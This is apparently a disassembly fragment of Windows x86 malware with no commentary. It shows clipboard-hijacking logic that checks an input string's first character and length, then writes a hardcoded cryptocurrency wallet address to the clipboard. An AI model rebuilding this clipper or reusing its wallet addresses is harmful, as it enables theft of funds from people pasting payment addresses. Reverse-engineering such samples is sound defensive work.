jne 0x4055a6
mov dword [ebp - 8], str.B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA
jmp 0x4055ad
mov dword [ebp - 8], str.BKyTYg4eZC9NCzcL8M3hcUmDhCnBJrSScH
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x55
jne 0x4055d4
cmp dword [ebp - 4], 9
jne 0x4055c7
mov dword [ebp - 8], str.U33390790
jmp 0x4055d4
cmp dword [ebp - 4], 0x30
jne 0x4055d4
mov dword [ebp - 8], str.UQAbBKbfkiK3Gjo86zgD3yYO5Njf7zxPTEO4JLqN13ruoGDb
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40565a
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40565a
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40565a
mov eax, dword [ebp - 0xc]
add eax, 1
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40565a
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov ecx, dword [ebp - 0x18]
push ecx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret